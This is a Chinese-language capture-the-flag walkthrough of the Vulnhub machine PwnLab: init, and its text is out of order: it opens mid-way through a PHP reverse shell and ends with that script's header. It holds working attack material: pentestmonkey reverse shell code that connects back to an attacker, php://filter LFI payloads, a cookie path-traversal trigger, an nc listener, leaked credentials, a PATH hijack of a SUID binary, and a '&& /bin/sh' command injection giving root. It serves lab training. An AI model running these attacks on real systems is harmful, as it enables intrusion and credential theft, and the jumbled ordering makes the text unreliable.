stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
雖然上傳了,但到圖片的網址:
依然無法get shell,這時看一下config.php:
http://192.168.18.183/?page=php://filter/convert.base64-encode/resource=index
原始碼:
<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
if (isset($_GET['page']))
{
include($_GET['page'].".php");
}
else
{
echo "Use this server to upload and share image files inside the intranet";
}
?>
</center>
</body>
</html>
需要edit cookie,要編輯lang那裡,使用curl工具編輯:
┌──(kali㉿kali)-[/usr/share/webshells/php]
└─$ curl -v --cookie "lang=../upload/f7e80460bbcf87fef90b1e428c6a0a56.png" http://192.168.18.183/index.php
* Trying 192.168.18.183:80...
* Connected to 192.168.18.183 (192.168.18.183) port 80 (#0)
> GET /index.php HTTP/1.1
> Host: 192.168.18.183
> User-Agent: curl/7.84.0
> Accept: */*
> Cookie: lang=../upload/f7e80460bbcf87fef90b1e428c6a0a56.png
>
成功get shell:
┌──(kali㉿kali)-[/usr/share/webshells/php]
└─$ nc -lvp 4444
listening on [any] 4444 ...
192.168.18.183: inverse host lookup failed: Unknown host
connect to [192.168.18.182] from (UNKNOWN) [192.168.18.183] 56028
Linux pwnlab 3.16.0-4-686-pae #1 SMP Debian 3.16.7-ckt20-1+deb8u4 (2016-02-29) i686 GNU/Linux
10:20:59 up 5:39, 0 users, load average: 0.00, 0.01, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@pwnlab:/$
用剛剛得到的帳密來逐一切換使用者,每切換一次就用一次linpeas.sh
,查看是否有可利用的提權。切到kane時:
www-data@pwnlab:/tmp$ su kane
su kane
Password: iSv5Ym2GRo
kane@pwnlab:/tmp$ ls -al
ls -al
total 1356
drwxrwxrwt 7 root root 4096 Dec 10 11:39 .
drwxr-xr-x 21 root root 4096 Mar 17 2016 ..
-rw-r--r-- 1 www-data www-data 147181 Dec 10 09:36 351e1d69446ce2d6f2caf508614be3aa.jpeg
-rw-r--r-- 1 www-data www-data 423853 Dec 10 09:06 44f84a69b87e45d16477892c391c7aeb.jpg
-rw-r--r-- 1 www-data www-data 5500 Dec 10 10:18 f7e80460bbcf87fef90b1e428c6a0a56.png
drwxrwxrwt 2 root root 4096 Dec 10 04:42 .font-unix
drwxrwxrwt 2 root root 4096 Dec 10 04:42 .ICE-unix
-rwxrwxrwx 1 www-data www-data 776167 Dec 4 02:49 linpeas.sh
drwxrwxrwt 2 root root 4096 Dec 10 04:42 .Test-unix
drwxrwxrwt 2 root root 4096 Dec 10 04:42 .X11-unix
drwxrwxrwt 2 root root 4096 Dec 10 04:42 .XIM-unix
要執行linpeas時,要先從攻擊機下載下來,詳情可看這一篇: MR-ROBOT: 1 Walkthrough。
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid
strace Not Found
-rwsr-xr-x 1 root root 34K Mar 29 2015 /bin/mount ---> Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8
-rwsr-xr-x 1 root root 38K Nov 19 2015 /bin/su
-rwsr-xr-x 1 root root 26K Mar 29 2015 /bin/umount ---> BSD/Linux(08-1996)
-rwsr-xr-x 1 root root 95K Aug 13 2014 /sbin/mount.nfs
-rwsr-sr-x 1 mike mike 5.1K Mar 17 2016 /home/kane/msgmike (Unknown SUID binary)
-rwsr-xr-x 1 root root 38K Nov 19 2015 /usr/bin/newgrp ---> HP-UX_10.20
-rwsr-xr-x 1 root root 52K Nov 19 2015 /usr/bin/chfn ---> SuSE_9.3/10
-rwsr-sr-x 1 daemon daemon 50K Sep 30 2014 /usr/bin/at ---> RTru64_UNIX_4.0g(CVE-2002-1614)
-rwsr-xr-x 1 root root 52K Nov 19 2015 /usr/bin/passwd ---> Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)
-rwsr-sr-x 1 root mail 94K Feb 11 2015 /usr/bin/procmail
-rwsr-xr-x 1 root root 43K Nov 19 2015 /usr/bin/chsh
-rwsr-xr-x 1 root root 77K Nov 19 2015 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 5.3K Feb 24 2014 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 9.4K Feb 11 2016 /usr/lib/pt_chown ---> GNU_glibc_2.1/2.1.1_-6(08-1999)
-rwsr-xr-- 1 root messagebus 355K Aug 2 2015 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 550K Jan 13 2016 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 1.1M Mar 13 2016 /usr/sbin/exim4
╔══════════╣ SGID
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid
-rwxr-sr-x 1 root shadow 34K Jan 9 2016 /sbin/unix_chkpwd
-rwsr-sr-x 1 mike mike 5.1K Mar 17 2016 /home/kane/msgmike (Unknown SGID binary)
-rwxr-sr-x 1 root ssh 410K Jan 13 2016 /usr/bin/ssh-agent
-rwxr-sr-x 1 root tty 9.5K Oct 17 2014 /usr/bin/bsd-write
-rwxr-sr-x 1 root mail 14K Jun 2 2013 /usr/bin/dotlockfile
-rwsr-sr-x 1 daemon daemon 50K Sep 30 2014 /usr/bin/at ---> RTru64_UNIX_4.0g(CVE-2002-1614)
-rwxr-sr-x 1 root mail 18K Feb 11 2015 /usr/bin/lockfile
-rwxr-sr-x 1 root crontab 38K Jun 7 2015 /usr/bin/crontab
-rwxr-sr-x 1 root shadow 60K Nov 19 2015 /usr/bin/chage
-rwxr-sr-x 1 root mlocate 32K Jun 13 2013 /usr/bin/mlocate
-rwxr-sr-x 1 root shadow 22K Nov 19 2015 /usr/bin/expiry
-rwsr-sr-x 1 root mail 94K Feb 11 2015 /usr/bin/procmail
-rwxr-sr-x 1 root tty 26K Mar 29 2015 /usr/bin/wall
-rwxr-sr-x 1 root mail 9.6K Dec 4 2014 /usr/bin/mutt_dotlock
可以發現SGID裡特別標出了一個msgmike是Unknown SGID binary,可以來調查一下。
kane@pwnlab:/tmp$ cd /home/kane
cd /home/kane
kane@pwnlab:~$ ls -al
ls -al
total 32
drwxr-x--- 3 kane kane 4096 Dec 10 11:41 .
drwxr-xr-x 6 root root 4096 Mar 17 2016 ..
-rw-r--r-- 1 kane kane 220 Mar 17 2016 .bash_logout
-rw-r--r-- 1 kane kane 3515 Mar 17 2016 .bashrc
drwx------ 2 kane kane 4096 Dec 10 11:41 .gnupg
-rwsr-sr-x 1 mike mike 5148 Mar 17 2016 msgmike
-rw-r--r-- 1 kane kane 675 Mar 17 2016 .profile
kane@pwnlab:~$ file msgmike
file msgmike
msgmike: setuid, setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d7e0b21f33b2134bd17467c3bb9be37deb88b365, not stripped
執行看看:
kane@pwnlab:~$ ./msgmike
./msgmike
cat: /home/mike/msg.txt: No such file or directory
看的出來這其實是在執行cat指令,執行的是
cat /home/mike/msg.txt
接下來的操作很騷,輸入的指令如下:
kane@pwnlab:~$ cd /tmp
cd /tmp
kane@pwnlab:/tmp$ touch cat
touch cat
kane@pwnlab:/tmp$ echo /bin/sh > cat
echo /bin/sh > cat
kane@pwnlab:/tmp$ chmod +x cat
chmod +x cat
kane@pwnlab:/tmp$ export PATH=/tmp:$PATH
export PATH=/tmp:$PATH
kane@pwnlab:/tmp$ cd /home/kane
cd /home/kane
kane@pwnlab:~$ ls -al
ls -al
total 32
drwxr-x--- 3 kane kane 4096 Dec 10 11:41 .
drwxr-xr-x 6 root root 4096 Mar 17 2016 ..
-rw-r--r-- 1 kane kane 220 Mar 17 2016 .bash_logout
-rw-r--r-- 1 kane kane 3515 Mar 17 2016 .bashrc
drwx------ 2 kane kane 4096 Dec 10 11:41 .gnupg
-rwsr-sr-x 1 mike mike 5148 Mar 17 2016 msgmike
-rw-r--r-- 1 kane kane 675 Mar 17 2016 .profile
kane@pwnlab:~$ ./msgmike
./msgmike
$
簡單來說,既然執行的是cat指令,那就乾脆自己新增一個名叫cat的指令,但其實這個指令是/bin/sh
,也就是執行的意思。步驟是先創建一個名叫cat的文件: touch cat
,接下來用echo把/bin/sh
給寫進去,接下來用chmod +x
把這文件變成一個可執行的命令,接下來會輸入export PATH=/tmp:$PATH
,是因為剛剛所有舉動都是在資料夾/tmp裡做的,如果想不加上路徑就執行這個資料夾裡的執行檔,就得加這一行。
$ python -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/bash")'
mike@pwnlab:~$ id
id
uid=1002(mike) gid=1002(mike) groups=1002(mike),1003(kane)
執行msgmike
後首先穩定shell,再查查自己是誰。發現自己是mike,乾脆切到mike目錄:
mike@pwnlab:~$ pwd
pwd
/home/kane
mike@pwnlab:~$ cd /home/mike
cd /home/mike
mike@pwnlab:/home/mike$ ls -al
ls -al
total 28
drwxr-x--- 2 mike mike 4096 Mar 17 2016 .
drwxr-xr-x 6 root root 4096 Mar 17 2016 ..
-rw-r--r-- 1 mike mike 220 Mar 17 2016 .bash_logout
-rw-r--r-- 1 mike mike 3515 Mar 17 2016 .bashrc
-rwsr-sr-x 1 root root 5364 Mar 17 2016 msg2root
-rw-r--r-- 1 mike mike 675 Mar 17 2016 .profile
用了ls -al
後,發現有一個root權限的msgroot,執行看看:
mike@pwnlab:/home/mike$ ./msg2root
./msg2root
Message for root:
執行看看,發現是可以讓人下指令的執行檔
mike@pwnlab:/home/mike$ ./msg2root
./msg2root
Message for root: `id`
`id`
uid=1002(mike) gid=1002(mike) euid=0(root) egid=0(root) groups=0(root),1003(kane)
aaa但輸入config裡調查到的root帳密,卻沒有用:
mike@pwnlab:/home/mike$ ./msg2root
./msg2root
Message for root: `su -`
`su -`
Password: H4u%QJ_H99
su: Authentication failure
不過可以看到root的資料夾有一些有趣的東西:
mike@pwnlab:/home/mike$ ./msg2root
./msg2root
Message for root: `ls /root`
`ls /root`
flag.txt messages.txt
aaa應該要用linux命令strings
來分析msg2root,不過這裡省略分析的步驟:
mike@pwnlab:/home/mike$ ./msg2root
./msg2root
Message for root: hello && /bin/sh
hello && /bin/sh
hello
# id
id
uid=1002(mike) gid=1002(mike) euid=0(root) egid=0(root) groups=0(root),1003(kane)
# /bin/cat /root/flag.txt
/bin/cat /root/flag.txt
.-=~=-. .-=~=-.
(__ _)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(__ _)
(_ ___) _____ _ (_ ___)
(__ _) / __ \ | | (__ _)
( _ __) | / \/ ___ _ __ __ _ _ __ __ _| |_ ___ ( _ __)
(__ _) | | / _ \| '_ \ / _` | '__/ _` | __/ __| (__ _)
(_ ___) | \__/\ (_) | | | | (_| | | | (_| | |_\__ \ (_ ___)
(__ _) \____/\___/|_| |_|\__, |_| \__,_|\__|___/ (__ _)
( _ __) __/ | ( _ __)
(__ _) |___/ (__ _)
(__ _) (__ _)
(_ ___) If you are reading this, means that you have break 'init' (_ ___)
( _ __) Pwnlab. I hope you enjoyed and thanks for your time doing ( _ __)
(__ _) this challenge. (__ _)
(_ ___) (_ ___)
( _ __) Please send me your feedback or your writeup, I will love ( _ __)
(__ _) reading it (__ _)
(__ _) (__ _)
(__ _) For sniferl4bs.com (__ _)
( _ __) claor@PwnLab.net - @Chronicoder ( _ __)
(__ _) (__ _)
(_ ___)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(_ ___)
`-._.-' `-._.-'
Vulnhub x PwnLab: init
pwnlab-init靶机测试笔记 - 总得前行 - 博客园
PwnLab: Init — Walkthrough
No.18-VulnHub-PwnLab: init-Walkthrough渗透学习
的Base64解碼 - 網上的Base64解碼器
GitHub - SewellDinG/LFIboomCTF: 📖本地文件包含漏洞实践源码及相应协议利用指南
[網站安全漏洞] 4 Command injection 指令注入 » 資安這條路
GitHub - payloadbox/command-injection-payload-list: 🎯 Command Injection Payload List
使用字符串命令 (Using the strings Command)
網頁網址LFI → 找出含帳密之設定檔 → 登入SQL server找出其他帳密 → 登入網頁上傳偽裝成圖片的reverse shell(需更改cookie) → suid可利用執行檔 → 自創指令 → command injection
開場嗅探靶機IP並偵查它開了那些port。
┌──(kali㉿kali)-[~]
└─$ nmap -sP 192.168.18.0/24
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-09 20:42 EST
Nmap scan report for 192.168.18.1
Host is up (0.0058s latency).
Nmap scan report for 192.168.18.21
Host is up (0.015s latency).
Nmap scan report for 192.168.18.182
Host is up (0.00036s latency).
Nmap scan report for 192.168.18.183
Host is up (0.0015s latency).
Nmap done: 256 IP addresses (4 hosts up) scanned in 2.59 seconds
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sS -sV -T4 -A -p- 192.168.18.183
[sudo] password for kali:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-09 20:50 EST
Nmap scan report for 192.168.18.183
Host is up (0.0011s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-title: PwnLab Intranet Image Hosting
|_http-server-header: Apache/2.4.10 (Debian)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 38831/udp status
| 100024 1 44287/tcp6 status
| 100024 1 48951/udp6 status
|_ 100024 1 49568/tcp status
3306/tcp open mysql MySQL 5.5.47-0+deb8u1
| mysql-info:
| Protocol: 10
| Version: 5.5.47-0+deb8u1
| Thread ID: 39
| Capabilities flags: 63487
| Some Capabilities: Support41Auth, Speaks41ProtocolOld, Speaks41ProtocolNew, FoundRows, SupportsCompression, LongColumnFlag, SupportsTransactions, InteractiveClient, IgnoreSigpipes, SupportsLoadDataLocal, ConnectWithDatabase, IgnoreSpaceBeforeParenthesis, ODBCClient, DontAllowDatabaseTableColumn, LongPassword, SupportsAuthPlugins, SupportsMultipleResults, SupportsMultipleStatments
| Status: Autocommit
| Salt: 9xt]TlCH"l{G0YQi<1~J
|_ Auth Plugin Name: mysql_native_password
49568/tcp open status 1 (RPC #100024)
MAC Address: 08:00:27:86:36:6E (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 1.14 ms 192.168.18.183
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 39.05 seconds
有80 port,進入網頁如下:
進入login頁面:
看到網址裡有等號--LFI漏洞。 等號後面要接什麼,可以參考
GitHub - SewellDinG/LFIboomCTF: 📖本地文件包含漏洞实践源码及相应协议利用指南
輸入url:
http://192.168.18.183/?page=php://filter/read=convert.base64-encode/resource=login
可以看到網頁輸出結果如下:
亂碼複製如下:
PD9waHANCnNlc3Npb25fc3RhcnQoKTsNCnJlcXVpcmUoImNvbmZpZy5waHAiKTsNCiRteXNxbGkgPSBuZXcgbXlzcWxpKCRzZXJ2ZXIsICR1c2VybmFtZSwgJHBhc3N3b3JkLCAkZGF0YWJhc2UpOw0KDQppZiAoaXNzZXQoJF9QT1NUWyd1c2VyJ10pIGFuZCBpc3NldCgkX1BPU1RbJ3Bhc3MnXSkpDQp7DQoJJGx1c2VyID0gJF9QT1NUWyd1c2VyJ107DQoJJGxwYXNzID0gYmFzZTY0X2VuY29kZSgkX1BPU1RbJ3Bhc3MnXSk7DQoNCgkkc3RtdCA9ICRteXNxbGktPnByZXBhcmUoIlNFTEVDVCAqIEZST00gdXNlcnMgV0hFUkUgdXNlcj0/IEFORCBwYXNzPT8iKTsNCgkkc3RtdC0+YmluZF9wYXJhbSgnc3MnLCAkbHVzZXIsICRscGFzcyk7DQoNCgkkc3RtdC0+ZXhlY3V0ZSgpOw0KCSRzdG10LT5zdG9yZV9SZXN1bHQoKTsNCg0KCWlmICgkc3RtdC0+bnVtX3Jvd3MgPT0gMSkNCgl7DQoJCSRfU0VTU0lPTlsndXNlciddID0gJGx1c2VyOw0KCQloZWFkZXIoJ0xvY2F0aW9uOiA/cGFnZT11cGxvYWQnKTsNCgl9DQoJZWxzZQ0KCXsNCgkJZWNobyAiTG9naW4gZmFpbGVkLiI7DQoJfQ0KfQ0KZWxzZQ0Kew0KCT8+DQoJPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0iUE9TVCI+DQoJPGxhYmVsPlVzZXJuYW1lOiA8L2xhYmVsPjxpbnB1dCBpZD0idXNlciIgdHlwZT0idGVzdCIgbmFtZT0idXNlciI+PGJyIC8+DQoJPGxhYmVsPlBhc3N3b3JkOiA8L2xhYmVsPjxpbnB1dCBpZD0icGFzcyIgdHlwZT0icGFzc3dvcmQiIG5hbWU9InBhc3MiPjxiciAvPg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkxvZ2luIj4NCgk8L2Zvcm0+DQoJPD9waHANCn0NCg==
<?php
session_start();
require("config.php");
$mysqli = new mysqli($server, $username, $password, $database);
if (isset($_POST['user']) and isset($_POST['pass']))
{
$luser = $_POST['user'];
$lpass = base64_encode($_POST['pass']);
$stmt = $mysqli->prepare("SELECT * FROM users WHERE user=? AND pass=?");
$stmt->bind_param('ss', $luser, $lpass);
$stmt->execute();
$stmt->store_Result();
if ($stmt->num_rows == 1)
{
$_SESSION['user'] = $luser;
header('Location: ?page=upload');
}
else
{
echo "Login failed.";
}
}
else
{
?>
<form action="" method="POST">
<label>Username: </label><input id="user" type="test" name="user"><br />
<label>Password: </label><input id="pass" type="password" name="pass"><br />
<input type="submit" name="submit" value="Login">
</form>
<?php
}
喔
這個php提到了config.php
,看能不能用同樣手法得到config的php。
輸入url:
http://192.168.18.183/?page=php://filter/read=convert.base64-encode/resource=config
得到的結果:
PD9waHANCiRzZXJ2ZXIJICA9ICJsb2NhbGhvc3QiOw0KJHVzZXJuYW1lID0gInJvb3QiOw0KJHBhc3N3b3JkID0gIkg0dSVRSl9IOTkiOw0KJGRhdGFiYXNlID0gIlVzZXJzIjsNCj8+
解碼:
<?php
$server = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>
喔對了,順便附一下目錄爆破結果:
┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://192.168.18.183 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,bak,old,zip,gz,con
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.18.183
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.3
[+] Extensions: zip,gz,con,php,txt,bak,old
[+] Timeout: 10s
===============================================================
2022/12/09 21:03:14 Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 293]
/index.php (Status: 200) [Size: 332]
/images (Status: 301) [Size: 317] [--> http://192.168.18.183/images/]
/login.php (Status: 200) [Size: 250]
/upload (Status: 301) [Size: 317] [--> http://192.168.18.183/upload/]
/upload.php (Status: 200) [Size: 19]
/config.php (Status: 200) [Size: 0]
/.php (Status: 403) [Size: 293]
/server-status (Status: 403) [Size: 302]
Progress: 1764040 / 1764488 (99.97%)===============================================================
2022/12/09 21:20:51 Finished
===============================================================
雖然拿到了帳密,但很可惜的這一台沒開22 port,不能直接get shell,所以試試入侵資料庫。
用剛剛拿到的root帳密登入mysql:
┌──(kali㉿kali)-[~]
└─$ mysql -h 192.168.18.183 -u root -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 48
Server version: 5.5.47-0+deb8u1 (Debian)
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [(none)]>
剛剛的config.php有提到是Users資料庫,登入後即可查看其他使用者帳密:
MySQL [(none)]> use mysql;
ERROR 1044 (42000): Access denied for user 'root'@'%' to database 'mysql'
MySQL [(none)]> use Users
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MySQL [Users]> show tables;
+-----------------+
| Tables_in_Users |
+-----------------+
| users |
+-----------------+
1 row in set (0.001 sec)
MySQL [Users]> select * from users;
+------+------------------+
| user | pass |
+------+------------------+
| kent | Sld6WHVCSkpOeQ== |
| mike | U0lmZHNURW42SQ== |
| kane | aVN2NVltMkdSbw== |
+------+------------------+
3 rows in set (0.005 sec)
查了一下,這密碼其實也是base64編碼,整理一下:
Sld6WHVCSkpOeQ== → JWzXuBJJNy
U0lmZHNURW42SQ== → SIfdsTEn6I
aVN2NVltMkdSbw== → iSv5Ym2GRo
利用kent的帳密登入:
轉到上傳頁面
但是可以發現無法上傳php,來故技重施,看看upload的原始碼。
輸入url:
http://192.168.18.183/?page=php://filter/read=convert.base64-encode/resource=upload
看到base64亂碼:
亂碼如下:
PD9waHANCnNlc3Npb25fc3RhcnQoKTsNCmlmICghaXNzZXQoJF9TRVNTSU9OWyd1c2VyJ10pKSB7IGRpZSgnWW91IG11c3QgYmUgbG9nIGluLicpOyB9DQo/Pg0KPGh0bWw+DQoJPGJvZHk+DQoJCTxmb3JtIGFjdGlvbj0nJyBtZXRob2Q9J3Bvc3QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnPg0KCQkJPGlucHV0IHR5cGU9J2ZpbGUnIG5hbWU9J2ZpbGUnIGlkPSdmaWxlJyAvPg0KCQkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nc3VibWl0JyB2YWx1ZT0nVXBsb2FkJy8+DQoJCTwvZm9ybT4NCgk8L2JvZHk+DQo8L2h0bWw+DQo8P3BocCANCmlmKGlzc2V0KCRfUE9TVFsnc3VibWl0J10pKSB7DQoJaWYgKCRfRklMRVNbJ2ZpbGUnXVsnZXJyb3InXSA8PSAwKSB7DQoJCSRmaWxlbmFtZSAgPSAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXTsNCgkJJGZpbGV0eXBlICA9ICRfRklMRVNbJ2ZpbGUnXVsndHlwZSddOw0KCQkkdXBsb2FkZGlyID0gJ3VwbG9hZC8nOw0KCQkkZmlsZV9leHQgID0gc3RycmNocigkZmlsZW5hbWUsICcuJyk7DQoJCSRpbWFnZWluZm8gPSBnZXRpbWFnZXNpemUoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddKTsNCgkJJHdoaXRlbGlzdCA9IGFycmF5KCIuanBnIiwiLmpwZWciLCIuZ2lmIiwiLnBuZyIpOyANCg0KCQlpZiAoIShpbl9hcnJheSgkZmlsZV9leHQsICR3aGl0ZWxpc3QpKSkgew0KCQkJZGllKCdOb3QgYWxsb3dlZCBleHRlbnNpb24sIHBsZWFzZSB1cGxvYWQgaW1hZ2VzIG9ubHkuJyk7DQoJCX0NCg0KCQlpZihzdHJwb3MoJGZpbGV0eXBlLCdpbWFnZScpID09PSBmYWxzZSkgew0KCQkJZGllKCdFcnJvciAwMDEnKTsNCgkJfQ0KDQoJCWlmKCRpbWFnZWluZm9bJ21pbWUnXSAhPSAnaW1hZ2UvZ2lmJyAmJiAkaW1hZ2VpbmZvWydtaW1lJ10gIT0gJ2ltYWdlL2pwZWcnICYmICRpbWFnZWluZm9bJ21pbWUnXSAhPSAnaW1hZ2UvanBnJyYmICRpbWFnZWluZm9bJ21pbWUnXSAhPSAnaW1hZ2UvcG5nJykgew0KCQkJZGllKCdFcnJvciAwMDInKTsNCgkJfQ0KDQoJCWlmKHN1YnN0cl9jb3VudCgkZmlsZXR5cGUsICcvJyk+MSl7DQoJCQlkaWUoJ0Vycm9yIDAwMycpOw0KCQl9DQoNCgkJJHVwbG9hZGZpbGUgPSAkdXBsb2FkZGlyIC4gbWQ1KGJhc2VuYW1lKCRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkuJGZpbGVfZXh0Ow0KDQoJCWlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCAkdXBsb2FkZmlsZSkpIHsNCgkJCWVjaG8gIjxpbWcgc3JjPVwiIi4kdXBsb2FkZmlsZS4iXCI+PGJyIC8+IjsNCgkJfSBlbHNlIHsNCgkJCWRpZSgnRXJyb3IgNCcpOw0KCQl9DQoJfQ0KfQ0KDQo/Pg==
解碼後結果,就是upload.php:
<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
<body>
<form action='' method='post' enctype='multipart/form-data'>
<input type='file' name='file' id='file' />
<input type='submit' name='submit' value='Upload'/>
</form>
</body>
</html>
<?php
if(isset($_POST['submit'])) {
if ($_FILES['file']['error'] <= 0) {
$filename = $_FILES['file']['name'];
$filetype = $_FILES['file']['type'];
$uploaddir = 'upload/';
$file_ext = strrchr($filename, '.');
$imageinfo = getimagesize($_FILES['file']['tmp_name']);
$whitelist = array(".jpg",".jpeg",".gif",".png");
if (!(in_array($file_ext, $whitelist))) {
die('Not allowed extension, please upload images only.');
}
if(strpos($filetype,'image') === false) {
die('Error 001');
}
if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
die('Error 002');
}
if(substr_count($filetype, '/')>1){
die('Error 003');
}
$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
echo "<img src=\"".$uploadfile."\"><br />";
} else {
die('Error 4');
}
}
}
?>
重要的是這一行,揭露了可以接受的上傳副檔名:
$whitelist = array(".jpg",".jpeg",".gif",".png");
所以只能上傳以上附檔名,沒關係,一樣用以下php,就是kali中/usr/share/webshells/php
路徑的php-reverse-shell.php
,但是最前面加個GIF三個字,副檔名不要用php要用gif或png,當然,裡面的IP跟PORT要改成攻擊機的:
GIF
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. The author accepts no liability
// for damage caused by this tool. If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.
//
// Usage
// -----
